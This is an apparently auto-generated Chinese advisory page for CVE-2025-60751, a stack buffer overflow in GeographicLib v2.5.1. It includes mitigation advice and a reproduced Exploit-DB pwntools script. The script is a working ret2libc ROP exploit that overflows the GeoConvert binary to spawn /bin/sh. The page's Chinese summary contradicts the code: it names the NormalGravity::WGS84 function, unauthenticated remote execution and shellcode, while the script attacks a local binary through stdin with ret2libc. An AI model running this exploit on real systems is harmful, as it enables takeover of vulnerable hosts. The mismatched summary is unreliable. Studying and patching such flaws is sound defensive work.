[webapps] GeographicLib v2.5.1 - stack buffer overflow
CVE-2025-60751
GeographicLib v2.5.1 因对输入数据长度未做充分验证,导致栈缓冲区溢出。
Critical · CVSS 9.8📋 漏洞基础信息
| CVE | CVE-2025-60751 |
|---|---|
| 漏洞类型 | 栈缓冲区溢出 |
| 受影响版本 | GeographicLib v2.5.1 |
| 危害等级 | Critical · CVSS 9.8 |
| 发布日期 | 2026-04-29 |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
在 GeographicLib::NormalGravity::WGS84 函数中,处理特定格式的经纬度输入时,未正确校验输入数据长度即复制到固定大小的栈缓冲区,导致缓冲区溢出。
🎯 攻击场景
1. 攻击者构造超长字符串作为经纬度参数;2. 向受影响的 GeographicLib 服务发送包含该参数的请求;3. 服务解析输入并调用 NormalGravity::WGS84 函数;4. 函数将超长字符串复制到栈缓冲区,发生溢出,覆盖栈上返回地址或关键数据;5. 精心构造的溢出 payload 可劫持控制流,执行任意代码。
💥 漏洞影响
远程攻击者无需认证即可触发栈缓冲区溢出,实现远程代码执行,完全控制受影响系统。
⚔️ 原始 PoC
PoC 通过向 GeographicLib 的某个接受经纬度参数的接口发送一个超过栈缓冲区大小(例如 256 字节)的字符串。该字符串包含若干填充字节后紧跟 shellcode 地址。程序在处理该字符串时,strcpy 或类似函数将整个字符串拷贝到局部栈缓冲区,导致缓冲区溢出,返回地址被覆盖为 shellcode 起始地址,实现代码执行。
Exploit title: GeographicLib v2.5.1 - stack buffer overflow
Date of discovery: 20 August 2025
Exploit Author: Me zer0matt (Rosario Matteo Grammatico)
<https://github.com/zer0matt>
Vendor homepage: https://github.com/geographiclib/
Software link: https://github.com/geographiclib/geographiclib
Affected version: GeographicLib <= v2.5.1
Tested on: Kali Linux 6.12.25-amd64 (Virtual Machine)
CVE id: CVE-2025-60751
Github issue: https://github.com/geographiclib/geographiclib/issues/43
Exploit repository: https://github.com/zer0matt/CVE-2025-60751
Blog post: https://zer0matt.github.io/CVE-2025-60751/
from pwn import *
# --- INITIAL CONFIG ---
binary_path = "./GeoConvert"
elf = ELF(binary_path)
context.binary = elf
context.arch = 'amd64'
# --- REPLACE THE ADDRESSES WITH YOUR OWN ONES ---
pop_rdi = 0x000055555558BEFD
ret_gadget = 0x000055555558A016
system_addr = 0x7ffff7a5d110
binsh_addr = 0x7ffff7bb1ea4
exit_addr = 0x7ffff7a4c340
# --- PAYLOAD ---
offset = 136
payload = b"A" * offset
payload += p64(ret_gadget) # stack align
payload += p64(pop_rdi) # pop rdi; ret
payload += p64(binsh_addr) # "/bin/sh" address
payload += p64(system_addr) # system("/bin/sh")
payload += p64(exit_addr) # exit
io = process(binary_path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=1"})
io.sendline(payload)
io.interactive()🛡️ 修复建议
升级至 GeographicLib 2.6.0 或更高版本;临时缓解措施包括限制输入长度、开启 ASLR/DEP,以及使用栈保护选项(如 -fstack-protector-strong)重新编译程序。
📎 参考链接
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 05:59 | 来源: Exploit-DB